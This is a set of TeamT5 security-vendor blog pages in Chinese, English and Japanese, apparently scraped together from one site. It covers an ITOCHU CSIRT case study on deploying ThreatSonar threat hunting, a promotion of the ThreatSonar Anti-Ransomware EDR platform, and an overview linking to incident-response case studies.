此外，海外員工也採用「I」Discovery。部分海外據點可能沒有 IT 管理人員，或甚至只有一名外籍員工。此外，海外據點裝置所使用的 Windows 作業系統版本和語言也有所不同。 ThreatSonar 的優點之一，是可以輕鬆部署在此類環境中，且不會有執行問題。

最後，佐藤先生表示，ITCCERT 正考慮未來在「I」Discovery上應用自訂特徵，以進一步強化伊藤忠集團的資安。

##關於客戶
**伊藤忠商事**

伊藤忠商事成立於 1858 年，創辦人伊藤忠兵衛從亞麻貿易業務起步。之後，在大阪經營和服和貨物業務，奠定了事業基礎。目前伊藤忠商事在日本等全球 65 個國家，擁有約 130 個據點，為紡織、機械、金屬、能源、化工、食品、住宅、資訊、保險、物流、建築和金融等領域的大型企業，業務範圍廣泛，包括進出口和三邊貿易，以及國內外商業投資。

**官網**：https://www.itochu.co.jp/

**接受採訪者**：

伊藤忠商事 IT 規劃部門 技術管理辦公室
 
ITCCERT 資深網路安全分析師
 
佐藤元彥

 
 

>原文出自： [Macnica](https://www.macnica.co.jp/business/security/manufacturers/mpressioncss/feature_01.html)

【實務案例】ITOCHU 伊藤忠商事 CSIRT 將威脅狩獵服務擴及海外據點

>Macnica Networks offers a "Mpression Threat Hunting Service" in which the security analysts analyze the scan results from TeamT5's [ThreatSonar](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website) and perform threat hunting on behalf of customers. Additionally, by incorporating custom signatures created based on the threat intelligence Macnica has accumulated, Macnica aims to improve the detection rate of attacks targeting Japan.
>
>The threat hunting service offers "one-time" scan and "annual" subscription.

##Point
- Advanced targeted attacks, designed to bypass existing security products, are detected by unique detection using AI technology and analysis by analysts.
- Investigated 20,000 devices and built up a diagnostic lifecycle from information collection to detection and response
- Visualize the security of endpoints at overseas locations where there is no IT administrator

## ITOCHU Corporation's ITCCERT focuses on incident prevention
In recent years, cyber attacks have become more advanced and complex due to the industrialization of criminal purposes. Attacks targeting companies and organizations have to face the management risks.
In addition, attacks aimed at making money, such as ransomware and business email fraud, are a familiar threat to many companies.

Therefore, recently more and more organizations establish a CSIRT (Computer Security Incident Response Team) to deal with cybersecurity incidents. ITOCHU Corporation launched the CSIRT in 2012 and named it as "ITCCERT". “R” includes three elements: Readiness, Response, and Recovery.

"ITCCERT is a virtual organization created within the IT Planning Department that manages and operates the company's networks. ITCCERT specializes in cybersecurity operations, focusing on incident prevention, response, analysis, and recurrence prevention. We will also provide direct support if any of the more than 300 ITOCHU Group companies request support," says Motohiko Sato, Senior Cyber Security Analyst at ITCCERT, Technology Management Office, IT Planning Department, ITOCHU Corporation.

ITOCHU Corporation has a corporation system, and each company within the corporation group has its own information system department, but when a cybersecurity incident occurs, ITCCERT takes the lead in responding.

Additionally, ITCCERT constantly monitors network communications and emails sent from outside the company. By setting its detection rules based on the knowledge Macnica accumulated in-house, users can grasp characteristics that cannot be detected by existing security products, and constantly create rules that can detect similar attacks when occur.

Information such as malware communication destinations and hashes obtained through independent intelligence activities is used to protect ITOCHU Corporation and prevent cyber security incidents occurring. 　

"ITCCERT focuses on incident prevention, and we work every day with the belief that it is important to prevent incidents from occurring," Mr. Sato emphasizes.

##ITOCHU Group's threat hunting services
On the other hand, the ITOCHU Group's companies and its overseas bases use a network different from that of ITOCHU Corporation's headquarters, so these defense measures can't result in direct effects.

For this reason, ITCCERT develops a special cyber security program "I" series for group companies and overseas locations.

This program covers wide-ranging services, including URL filtering services, business email fraud prevention tools, cybersecurity-specific risk assessments, and workshops that can be immediately useful in actual work.
One of the services, "I" Discovery, is an endpoint security service that inspects malware hidden on devices, and has a track record of threat inspections on more than 20,000 devices since its launch in October 2017. Its core technology uses the hunting tool "ThreatSonar" developed by TeamT5 from Taiwan.

##Forensic technology collects essential information for threat hunting
ThreatSonar quickly collects data needed for computer forensics, including information about running processes on a device, deleted files, and data in memory. By analyzing the collected data using a proprietary engine, it is possible to precisely extract suspicious files.

It uses a unique AI-assisted behavioral model to detect suspicious behavior, allowing for thorough investigations that cannot be detected by signature-based antivirus solutions. The collected data is analyzed by ITCCERT staff with specialized knowledge, making it possible to detect hidden malware that cannot be detected by existing antivirus software.

In addition, by jointly analyzing the detection results between ITCCERT and the information systems departments of each group company, Macnica can quickly determine the appropriate response.

##Discover threats that cannot be detected by existing endpoint security solutions
Among the various endpoint security solutions, Mr. Sato chose ThreatSonar because its basic technology is not an antivirus, but an excellent software that can significantly improve security levels.

The ITOCHU Group has over 300 subsidiaries and approximately 100,000 employees. Furthermore, from the perspective of a trading company, the establishment of joint ventures and capital and business alliances are thriving. Therefore, the ITOCHU Group does not force the installation of specific endpoint security products, and each company installs the most suitable product based on its requirements. The only thing that all companies have in common is that they have installed antivirus products.

Next-generation antivirus products are also an extension of existing antivirus software. Antivirus vendors have strengths and weaknesses in technology, and it is difficult to comprehensively eliminate all threats. For me, ThreatSonar is very appealing security product that enables companies to utilize the existing antivirus software and to detect threats with its unique features.

When Macnica started offering “I” Discovery, more than 50 group companies volunteered to use the service. More than half of the companies that applied for the program performed one-time scanning. Some companies began to perform regular scans. Information systems departments at companies that regularly run “I” Discovery are satisfied with the capabilities to confirm that their devices have not been compromised by unknown or evasive attacks, which cannot be detected by existing security products. 

##Ease of implementation is the deciding factor for expansion to group companies
"ThreatSonar does not require any installation. It simply distributes and runs a lightweight scanner, so it runs in the background without requiring any knowledge or operational skills from the users. Another advantage is that the operation communication is light, so there is less burden on the network, and there are no problems such as conflicts with the OS or applications and environment dependence.'' says  Motohiko Sato.

##Build a monitoring system even at overseas bases with limited resources
There have been reports of cases in which banking malware that had been hidden in legitimate processes for many years was discovered by implementing “I” Discovery. Mr. Sato also believes that it is reassuring that the system detects not only active malware, but also latent malware and high-risk software installed by users.

Additionally, “I” Discovery is also adopted by users based overseas. Some overseas locations may not have an IT administrator, or even only have one expatriate employee. Additionally, the devices at overseas locations vary in Windows OS versions and languages. One of the advantages of ThreatSonar is that it can be easily deployed in such environments and there are no operational problems.

Finally, Mr. Sato said that ITCCERT is considering applying custom signatures to "I" Discovery in the future, and will work to further strengthen the ITOCHU Group's security.

##User Profile
**ITOCHU Corporation**

ITOCHU Corporation was founded in 1858 when the Company's founder Chubei Itoh commenced linen trading operations in Azabu.  Afterwards, he built a foundation for his business by running a kimono and goods business in Osaka. Currently, as a major general trading company with approximately 130 bases in 65 countries around the world including Japan, ITOCHU is a major trading company in the fields of textiles, machinery, metals, energy, chemicals, food, housing, information, insurance, logistics, construction, and finance and engages in a wide range of businesses, including import/export and trilateral transactions, as well as business investment both domestically and internationally.

**Website**:
https://www.itochu.co.jp/

**Interviewee**:

ITOCHU Corporation - IT Planning Department - Technology Management Office

ITCCERT - Senior Cyber Security Analyst

Mr. Motohiko Sato

>Original article is from: [Macnica](https://www.macnica.co.jp/business/security/manufacturers/mpressioncss/feature_01.html)


Extend threat hunting services to overseas bases by ITOCHU CSIRT

>マクニカネットワークスでは、[ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)のスキャン結果の分析、スレットハンティングを
お客様に代わってマクニカのセキュリティアナリストが実施する「Mpression Cyber Security Service™スレッ
トハンティングサービス」を提供しています。また、マクニカが蓄積する脅威インテリジェンスをベースにし作成されるカスタムシグネチャを反映することで、日本を狙う標的型攻撃の検知率の向上を図っています。
>
>スレットハンティングサービスは、「ワンショット」での利用と「年間」利用の2つのメニューをご用意しております。

##Point
- 既存のセキュリティ製品をすり抜けることを前提にした高度な標的型攻撃を、 AI技術を用いた独自のセンサーとアナリストによる分析で検出 
- 2万台の端末を調査し、情報収集から検知、対応までの診断ライフサイクルを確立
- IT管理者がいない海外拠点の端末の安全性を可視化

##インシデントの予防にフォーカスした伊藤忠商事のITCCERT
近年のサイバー攻撃は、犯罪目的の産業化によって技術や手法が高度化・巧妙化し、企業や組織を標的とした攻撃は経営上の大きなリスクになっている。

また、ランサムウェアやビジネスメール詐欺のように金銭を目的とした攻撃は、多くの企業にとって身近な脅威である。

そのため、最近では、コンピュータセキュリティにかかるインシデントに対処するための組織である CSIRT（Computer Security Incident Response Team）を設置する動きが活発化しつつある。
 
伊藤忠商事株式会社（以下、伊藤忠商事）がCSIRTを発足したのは2012年のことだ。同社のCSIRTは「ITCCERT」と呼ばれている。“R” には、準備（Readiness）・対応（Response）・復旧（Recovery）の3つの要素を含むという。
 
「ITCCERTは全社のネットワークを管理・運用するIT企画部の中に仮想的に作られた組織です。
ITCCERTはサイバーセキュリティ運用に特化し、インシデントの防止、対応、分析、再発防止などを中心に実施します。また、300 社以上存在する伊藤忠グループ企業からも支援要請があれば直接の支援を行います」と語るのは、伊藤忠商事IT企画部 技術統括室ITCCERT上席サイバーセキュリティ分析官の佐藤 元彦氏だ。
 
伊藤忠商事ではカンパニー制をとり、各カンパニーでも情報システム部門が個別に設置されているが、サイバーセキュリティインシデントが発生した際はITCCERTが中心となって対応を実施する。
 
また、ITCCERTではネットワークの通信や社外から送信されてくるEメールなどを常時監視している。自社で蓄積したナレッジを基に独自の検知ルールを設定することで、既存のセキュリティ製品では検知できない特徴を把握し、万が一同様の攻撃が発生した時に検知できるルールを常生み出している。
 
独自のインテリジェンス活動で得られたマルウェアの通信先やハッシュなどの情報は伊藤忠商事を守るために使われ、同社のセキュリティ事案の発生を未然に防止している。　
 
「ITCCERTはインシデントのプリベンション（予防）にフォーカスしており、インシデントを起こさないことが重要と考え日々活動しています」と佐藤氏は強調する。
 
 ## 伊藤忠グループのスレットハンティングサービス
一方、伊藤忠グループや海外拠点は、伊藤忠商事本社のネットワークとは異なるネットワークを使っているため、これらの防御効果が直接の効果を発揮しない。
 
そのため、ITCCERTでは、グループ会社や海外拠点に向けた特別なサイバーセキュリティプログラム「“I” シリーズ」を展開している。
 
その内容はURLフィルタリングサービス、ビジネスメール詐欺対策ツール、サイバーセキュリティに特化したリスクアセスメント、実業務ですぐに役立つワークショップなど多岐に渡る。
 
そのメニューの1つ、「“I” Discovery」は、端末に潜伏するマルウェアを検査するエンドポイントセキュリティで、2017年10月のサービス開始から2万台以上の端末に対し脅威検査した実績を持つ。その中核技術には、台湾のTeam T5が開発したハンティングツール「ThreatSonar」が活用されている。
 
##ハンティングに必要不可欠な情報を収集するフォレンジック技術
ThreatSonarは端末の実行中プロセスや削除されたファイルに関する情報、メモリ上のデータなどコンピュータ・フォレンジックに必要な情報を素早く収集する。収集した情報を独自のエンジンで解析することで不審ファイルの精緻な抽出が可能だ。AIが補助する独自のビヘイビアモデルで不審な挙動を検出するため、シグネチャベースのアンチウイルスで検知できないような徹底した調査が可能だという。収集した情報は専門知識を持つITCCERTのスタッフが分析することにより、既存のウイルス対策ソフトでは検知できないマルウェアが潜伏している場合も検出可能になった。また、検出結果をITCCERTと各グループ会社の情報システム部門が共同で結果を分析することで、早期に適正な対応が判断できるようになっている。
 
 ##既存のエンドポイントセキュリティでは検知できない脅威を発見
さまざまなエンドポイントセキュリティの手法がある中で、ThreatSonarを選んだ理由について、佐藤氏は、基本技術がアンチウイルスではない点と、セキュリティレベルを大きく向上できるソフトウェアとしての優秀性を挙げる。
 
伊藤忠グループの子会社は300社を超え、従業員数は約10万人に上る。さらに、商社という側面から合弁会社の設立や資本業務提携も活発である。そのため、伊藤忠グループでは特定のエンドポイントセキュリティ製品の導入を強制しておらず、各社の要件に基づいて最適な製品が導入されている。各社に共通しているのは、アンチウイルス製品を導入している点ぐらいだ。
 
 「次世代アンチウイルス製品もアンチウイルスの延長線上です。アンチウイルスベンダーは技術の得手不得手があり、全ての脅威を網羅的に排除するのは難しい。そのため、各社が利用している既存のアンチウイルスを活用しながら、独自の機能ですり抜けた脅威を検出できるセキュリティ製品として ThreatSonarはとても魅力的でした。」
 
 “I” Discoveryの提供を開始したところ、50社以上のグループ企業がサービスの利用に手をあげた。ワンショットのスキャンを行った企業は申込企業の半数を超え、定期実行を行う企業も出始めた。“I” Discoveryの定期実行を行う企業の情報システム部門は、既存のセキュリティ製品で検出できない未知の攻撃や、検知を回避するような攻撃によって自社端末が侵害されていないことを確認できる点に満足しているという。
 
 “I” Discoveryの提供を開始したところ、50社以上のグループ企業がサービスの利用に手をあげた。ワンショットのスキャンを行った企業は申込企業の半数を超え、定期実行を行う企業も出始めた。“I” Discoveryの定期実行を行う企業の情報システム部門は、既存のセキュリティ製品で検出できない未知の攻撃や、検知を回避するような攻撃によって自社端末が侵害されていないことを確認できる点に満足しているという。
 
 ##グループ会社への展開は導入の容易さが決め手
「ThreatSonarはインストールの必要はありません。軽量なスキャナーを配布して実行するだけなので、ユーザ側に知識や運用のスキルを求めず、全てバックグラウンドでサイレントに動作します。
 
また、動作中の通信量は軽微なためネットワークへの負担が少なく、OSやアプリケーションなどとの競合や環境依存などの問題が起きないのもメリットです」（佐藤氏）
 
 ##リソースの限られた海外拠点でも監視体制を構築
“I” Discoveryを実施することにより、長年正規のプロセスに隠れていたバンキングマルウェアが見つかった事例も報告されているという。また、アクティブなマルウェアだけではなく、潜伏状態のマルウェアや、ユーザによってインストールされたリスクを含んだソフトウェアを検出するのは心強いと佐藤氏は評価する。
 
なお、“I” Discoveryは海外拠点のユーザも利用している。海外拠点によってはIT管理者が不在、さらには駐在員が1名しかいないケースもある。また、海外拠点で使用している端末はWindowsのOSバージョンや言語も様々だ。そのような環境でも容易に展開でき、運用面でも問題が起きないのが ThreatSonarのメリットのひとつだ。
 
最後に、ITCCERTでは今後、“I” Discoveryにカスタムシグニチャの適用を検討しており、伊藤忠グループのセキュリティの更なる強化に取り組んでいくと佐藤氏は語ってくれた。
 
 ##User Profile
**伊藤忠商事株式会社**
1858年（安政5年）に、近江商人だった初代伊藤忠兵衛が麻布（まふ）の行商で創業。その後大阪で呉服太物商を営み事業の礎を築いた。現在は日本を含む世界65ヶ国に約130の拠点を持つ大手総合商社として、繊維、機械、金属、エネルギー、化学品、食料、住生活、情報、保険、物流、建設、金融の各分野において国内、輸出入および三国間取引を行うほか、国内外における事業投資など、幅広いビジネスを展開する。

 

**公式ウェブサイト**

https://www.itochu.co.jp

 

**回答者**

伊藤忠商事株式会社 - IT企画部 - 技術統括室

ITCCERT - 上席サイバーセキュリティ分析官

佐藤 元彦 氏
 
 
 >元記事はこちらから: [Macnica](https://www.macnica.co.jp/business/security/manufacturers/mpressioncss/feature_01.html)

伊藤忠商事CSIRTが海外拠点にも展開するスレットハンティングサービス

The average dwell time of cyberattacks fell to a median of eight days in the first half of 2023, but attackers are moving faster._[1]_ It only takes about 16 hours for an attacker to gain access to the Active Directory (AD) system and perform various malicious activities through privilege escalation and lateral movement.

At the same time, ransomware attacks continue to grow. According to the annual crime report released by cryptocurrency-tracing company Chainalysis, the number of ransomware attacks in 2023 increased significantly by 70% compared with 2022, causing ransomware payments to hit a record $1.1 billion. _[2]_

## EDR is indispensable to enhance defense in depth
As attackers' techniques continue to evolve and attack faster, it becomes necessary for enterprises to adopt a "defense-in-depth" cybersecurity strategy in order to effectively respond to cybersecurity risks. Through a variety of cybersecurity solutions, corporate networks and digital assets are protected at multiple levels. Even if an attacker destroys one layer of defense, the existence of other security defense measures can effectively prevent the attacker from accessing the network or internal resources, effectively mitigate the threat, and reduce the damage to the overall environment.

EDR is critical for defense in depth, used to protect servers, mobile devices and other endpoints from network security threats. It should be able to check files and programs in a timely manner, quickly identify potential threats, and effectively respond to possible malicious attacks and reduce enterprise cybersecurity risks.

ThreatSonar Anti-Ransomware Endpoint Detection & Response platform provides comprehensive endpoint protection, while improving defense in depth and solving pain points in enterprise cybersecurity deployment.
- **Comprehensive monitoring of endpoints**: Different from stacking multi-layered defense architecture on the network, ThreatSonar Anti-Ransomware provides 7x24 full-time monitoring of endpoint security.
- **Compatible with other solutions**: Solving the limitation that enterprises can only choose one product for endpoint defense.
- **Lightweight deployment**: Unlike most endpoint APT threat solutions that require driver installation.

## Visualize attack trajectories to investigate incidents and response in a timely manner
ThreatSonar Anti-Ransomware provides real-time threat detection and in-depth threat hunting functions. It not only supports high-risk threat alerts, but also finds objects and logs related to the threat through correlation analysis, which facilitate the security personnel to understand the full picture of intrusion through the incident timeline.

In order to allow users to quickly understand potential threats, the incident page of ThreatSonar Anti-Ransomware can provide an overview of the incident trajectory, starting from the hosts that were severely compromised in the incident, to comprehensively take stock of the endpoint security status.

 

![UI_EN_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif](https://uploads.teamt5.org/upload/original/UI_EN_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif)

 


**1. Real-time Detection: **
Once ThreatSonar Anti-Ransomware detects a threat incident, iit automatically provides an incident summary and response suggestions, grasps the incident status, and handles it in a timely manner to reduce the risks caused by the threat.

**2. In-depth Analysis: **
If users would like to have further incident investigation, the analysis report bundle can be directly downloaded to make analysis more efficient.

**3. Take Actions: **
Users can take actions and dispatch the tasks, such as scan and isolation, on the endpoints.

 

![UI_EN_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg](https://uploads.teamt5.org/upload/original/UI_EN_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg)

 



When a ransomware attack occurs, ThreatSonar Anti-Ransomware can promptly detect, immediately respond, and grasp the attack path. Ransomware can be blocked immediately when hitting the policy rule. With the detailed incident reports of ThreatSonar Anti-Ransomware, users can understand endpoint information and malware execution process. Also, users can furtherly investigate the intrusion access points of hackers, obtain the root cause of intrusion, analyze the hacker's movement path, and check damages of the compromised assets.


 

[1] “[Attack Dwell Times Fall but Threat Actors Are Moving Faster](https://www.infosecurity-magazine.com/news/attack-dwell-times-faster/)”, Infosecurity Magazine, 2023

[2] “[Ransomware Payments Hit a Record $1.1 Billion in 2023](https://www.wired.com/story/ransomware-payments-2023-breaks-record/)”, WIRED, 2024

 
>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan.
>
>Contact us and know more of intelligence-driven cybersecurity solutions 
>[https://teamt5.org/en/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

ThreatSonar Anti-Ransomware Visualizes Cyber Threat Incident and Respond Immediately with One Click

儘管 2023 年上半年網路攻擊的平均停留時間下降至 8 天_[1]_ ，但攻擊者的行動速度更快。攻擊者存取 Active Directory（AD）系統只需約 16 小時，藉由提權及橫向移動，執行各種惡意活動。

同時，勒索軟體的威脅仍與日俱增。根據加密貨幣追蹤公司 Chainalysis 所發布的年度犯罪報告指出，2023 年勒索攻擊事件數較 2022 年大幅成長 70%，致使 2023 年勒索支付金額超過 11 億美元，達歷史新高。_[2]_

## 健全縱深防禦，EDR 端點防護技術不可或缺
當攻擊者的技術不斷進化、攻擊速度更快，企業要能有效應對資安風險，採用「縱深防禦」網路安全策略成為必要。藉由多種資安解決方案，多層次保護企業網路及數位資產。即便攻擊者破壞了其中一道防線，其他資安防禦措施的存在，有效防止攻擊者存取網路或內部資源，有效緩解威脅，減輕對整體網路的損害。

EDR 端點防護即是縱深防禦的關鍵防線，用來保護伺服器、行動裝置等端點免受網路安全威脅的解決方案，需要能夠及時檢查檔案、程式，快速識別潛在威脅，並有效應對可能的惡意攻擊，降低企業的資安風險。

[ThreatSonar Anti-Ransomware 威脅鑑識與回應平台](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)提供了端點防護所需，在健全縱深防禦的同時，解決企業資安部署上的痛點。
- **全面監控端點**：有別於在網路上堆疊多層式防禦架構，ThreatSonar Anti-Ransomware 提供 7x24 的全時監控端點安全方案。
- **相容於其他方案**：解決企業在端點防禦上只能選擇一種產品的侷限。
- **輕量部署**：有別於多數端點 APT 威脅解決方案需要安裝驅動程式的部署方式。

## 可視化攻擊軌跡，更快掌握事件、及時處置
ThreatSonar Anti-Ransomware 提供及時威脅偵測、完整的威脅狩獵功能，不僅提供高風險威脅告警，並可透過關聯分析，找到與該威脅相關的物件與事件紀錄，藉由事件時間軸了解威脅入侵全貌。

為讓使用者能夠快速掌握可能潛在威脅，在 ThreatSonar Anti-Ransomware 的事件頁面中，可一覽事件發生軌跡，從事件中嚴重受駭的主機出發，全面盤點端點安全狀態。

 

![UI_TW_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif](https://uploads.teamt5.org/upload/original/UI_TW_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif)

 

**1. 及時偵測：**

ThreatSonar Anti-Ransomware 一偵測到威脅事件，自動提供事件摘要、處置建議，掌握事件狀況、並做及時處置，減少威脅所帶來的損害風險。

**2. 深度分析：**

若要進一步進行事件分析，可直接在事件頁面上下載報告分析包，讓事件分析更有效率。

**3. 加速回應：**

根據節點的詳細的資訊，使用者可直接對端點採取對應行動，降低威脅侵害。例如遇到攻擊事件發生時，可開啟「限制網路」功能，該程式將無法向內/外部進行連線。或是對節點進行「隔離檔案」，將有害檔案和潛在惡意應用程式隔離，使其不損害端點。


![UI_TW_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg](https://uploads.teamt5.org/upload/original/UI_TW_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg)

 

當發生勒索攻擊，ThreatSonar Anti-Ransomware 可及時偵測、立即攔截、掌握攻擊路徑。當威脅命中規則，立即阻斷勒索威脅。藉由 ThreatSonar Anti-Ransomware 詳盡的事件報告，了解端點資訊、惡意程式執行過程相依性，使用者能夠進一步調查駭客可能的入侵存取點，獲取駭侵根因（root cause）、掌握駭客移動路徑、盤點威脅損害。

 
[1] "[Attack Dwell Times Fall but Threat Actors Are Moving Faster](https://www.infosecurity-magazine.com/news/attack-dwell-times-faster/)", Infosecurity Magazine, 2023

[2] "[Ransomware Payments Hit a Record $1.1 Billion in 2023](https://www.wired.com/story/ransomware-payments-2023-breaks-record/)", WIRED, 2024

 
>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>歡迎聯絡我們，了解備受客戶肯定的資安產品與服務 
>[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

ThreatSonar Anti-Ransomware 可視化威脅事件，簡易立即處置

サイバー攻撃の平均滞留時間は、2023年上半期には平均8日間に減少しましたが、攻撃者の動きはより速くなっています[1]。攻撃者がActive Directory（AD）システムにアクセスし、権限の昇格やラテラルムーブメントを通じてさまざまな悪意のある活動を実行するのに必要な時間は、わずか約16時間しかかかりません。

同時に、ランサムウェア攻撃は増加し続けています。暗号通貨追跡会社 Chainalysis が発表した年次犯罪レポートによると、2023 年のランサムウェア攻撃の数は 2022 年と比較して 70% 大幅に増加し、ランサムウェアの支払いは過去最高の 11 億ドルに達しました。[2]

##EDR は多層防御の強化に不可欠

攻撃者の手法が進化し、攻撃のスピードが速まるにつれて、企業はサイバーセキュリティリスクに効果的に対応するため、「多層防御」のサイバーセキュリティ戦略を採用する必要があります。さまざまなサイバーセキュリティソリューションを通じて、企業ネットワークとデジタル資産は多層的に保護されます。攻撃者が 1 つの防御層を破壊したとしても、他のセキュリティ防御手段があれば、攻撃者がネットワークや内部リソースにアクセスするのを効果的に防ぎ、脅威を効果的に軽減し、環境全体への被害を軽減できます。



EDR は多層防御に不可欠であり、サーバー、モバイルデバイス、その他のエンドポイントをネットワークセキュリティの脅威から保護するために使用されます。ファイルとプログラムをタイムリーにチェックし、潜在的な脅威を迅速に特定および悪意のある攻撃の可能性に効果的に対応して、企業のサイバーセキュリティリスクを軽減する必要があります。

ThreatSonar Anti-Ransomwareエンドポイント検出応答プラットフォームは、包括的なエンドポイント保護を提供し、多層防御を向上させ、企業のサイバー セキュリティ展開における問題点を解決します。

- **エンドポイントの包括的な監視**: ネットワーク上に多層防御アーキテクチャを積み重ねるのとは異なり、ThreatSonar Anti-Ransomware は、エンドポイント セキュリティの 24時間フルタイム監視をいたします。
- **他のソリューションとの互換性**: 企業がエンドポイント防御に 1 つの製品しか選択できないという制限を取り払います。
- **軽量な展開**: ドライバーのインストールが必要なほとんどのエンドポイント APT 脅威ソリューションとは異なります。

##攻撃の軌跡を視覚化し、インシデント調査を行い、タイムリーに対応

ThreatSonar Anti-Ransomware は、リアルタイムの脅威検出と詳細な脅威ハンティング機能を提供します。高リスクの脅威アラートを発するだけでなく、相関分析を通じて脅威に関連するオブジェクトとログを見つけ、セキュリティ担当者がインシデントのタイムラインを通じて侵入の全体像を把握できるようにします。

ユーザーが潜在的な脅威をすばやく理解できるように、ThreatSonar Anti-Ransomware のインシデントページでは、インシデントで深刻な侵害を受けたホストを始めとした、インシデントの軌跡の概要を提供し、エンドポイントのセキュリティ状態を包括的に把握できます。

**1. リアルタイム検出**: ThreatSonar Anti-Ransomware が脅威インシデントを検出すると、インシデントの概要と対応の提案を自動的に提供し、インシデントの状態を把握して、脅威によって引き起こされるリスクを軽減するための処理をタイムリーに行います。

**2. 詳細な分析**: ユーザーが更なるインシデント調査を希望する場合は、分析レポート バンドルを直接ダウンロードすることで、分析をより効率的に行うことが可能です。

**3. アクションの実行**: ユーザーは、エンドポイントでアクションを実行し、スキャンや隔離などのタスクをディスパッチできます。

 
ランサムウェア攻撃が発生した場合、ThreatSonar Anti-Ransomwareは迅速に検知ならびに即時対応し、攻撃経路を把握することができ、ポリシールールにヒットしたランサムウェアは即座にブロックすることが可能です。そして、ThreatSonar Anti-Ransomware の詳細なインシデントレポートにより、エンドポイント情報やマルウェアの実行プロセスを把握することができます。また、ハッカーの侵入アクセスポイントをさらに調査し、侵入の根本原因の把握、ハッカーの移動経路の分析を行い、侵害された資産の損害を確認することが可能です。

 
 
[1] "[Attack Dwell Times Fall but Threat Actors Are Moving Faster](https://www.infosecurity-magazine.com/news/attack-dwell-times-faster/)", Infosecurity Magazine, 2023

[2] "[Ransomware Payments Hit a Record $1.1 Billion in 2023](https://www.wired.com/story/ransomware-payments-2023-breaks-record/)", WIRED, 2024

ThreatSonar Anti-Ransomware によるサイバー脅威インシデントの可視化と迅速な対応

ThreatSonar Anti-Ransomware インフォメーション

ThreatSonar Anti-Ransomware Resources

This article brings together [TeamT5](https://teamt5.org/en/about-us/?utm_source=blog&utm_medium=website) ’s 20+ years of professional experience in cybersecurity defense and keys of cybersecurity defense for enterprise. Also, we analyze the key points that should be paid attention to when selecting cybersecurity solutions and services. We hope it will be helpful to enterprises and build cybersecurity resilience together!


## The key to enterprise cybersecurity defense
As a preliminary reference, you may refer to the NIST Cybersecurity Framework, which was proposed by the National Institute of Standards and Technology in the United States. Through systematic and structured standards, it helps enterprises review the deficiencies of their own cybersecurity defenses and strengthen them for specific projects. See this article for more details - “[How to Check the Cybersecurity Defense Status of the Enterprise according to the NIST Cybersecurity Framework?](https://teamt5.org/en/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)”.

Furthermore, cybersecurity defense is like a long-term competition between enterprises and malicious attackers. We believe that cyber threat intelligence is the fundamental of all cybersecurity strategies. It provides insights into the tactics, techniques, and procedures (TTPs) of adversaries, enabling organizations to prepare, prevent, and identify cyber threats that could exploit valuable resources. Please see this whitepaper for more details - “ [【Whitepaper】Understanding Threat Intelligence & The Threat Landscape with TeamT5](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)”.

In daily operations, we particularly emphasize that enterprises adopt threat hunting strategies to help enterprises take proactive defensive measures, strengthen their cybersecurity resilience, and ensure uninterrupted business operations. See this article for more details - ”[The benefits of threat hunting: The key to greater security resilience for enterprise](https://teamt5.org/en/posts/the-benefits-of-threat-hunting-the-key-to-greater-security-resilience-for-enterprise/?utm_source=blog&utm_medium=website)”.


## Cyber incidents in daily operations
Various cyber incidents might happen in daily operations. We provide case studies and suggestions for enterprises below. 

#### Cyber Incident: Advanced persistent threat attack
As hacker attack technology continues to evolve, advanced persistent threat (APT) techniques are becoming even more complex. More and more malicious programs are able to bypass EDR (Endpoint Detection and Response) and use legitimate tools to control endpoints.

To deal with endless APT attacks, how should enterprises or organizations effectively deal with them? The following case reveals how TeamT5 actually assists enterprise organizations to handle APT attacks. In this case, you may understand hacker attack techniques and how incident response measures reduce the losses to strengthen future cybersecurity defense.

- **Case Study**: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-advanced-persistent-threat-apt/?utm_source=blog&utm_medium=website)

####Cyber Incident: Ransomware
When an enterprise or organization faces a destructive cyber attack, time is of the essence in order to be able to respond and recover from it. If the attacker group can be detected at an early stage when they have infiltrated the victim organization's network, there is still a chance to effectively block the attacker group's behavior immediately, with less impact on the enterprise or organization.

How can enterprises or organizations respond to ransomware effectively? Through the following sharing of the case in which TeamT5 assists enterprises and organizations in cybersecurity incidents you may learn how to strengthen cybersecurity defense, not only prevent malicious attacks, but also minimize the losses caused by cyber threats.

- **Case Study**: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-ransomware-attack/?utm_source=blog&utm_medium=website)

####Cyber Incident: Personal information leaked
Hackers often use various network attack methods, such as zero-day attacks, phishing, brute force attacks, social engineering, malware, etc., in an attempt to gain system access and sensitive data. Then, the data is used to target enterprises, governments, or individuals. All these cyber threat events pose a major threat. Taking the leakage of personal information as an example, it causes people to lose money due to fraud and directly damages the reputation of enterprises.

How should companies or organizations effectively deal with cybersecurity incidents caused by malicious attacks? The following is a case in which TeamT5 actually assists companies and organizations in handling personal data breach. In this case, you may learn (1) how hackers obtain sensitive personal data through network attacks; (2) the emergency response measures required to deal with the incident; (3) how to reduce the losses caused by the incident threat to the minimum, and plan the defense priorities for future.

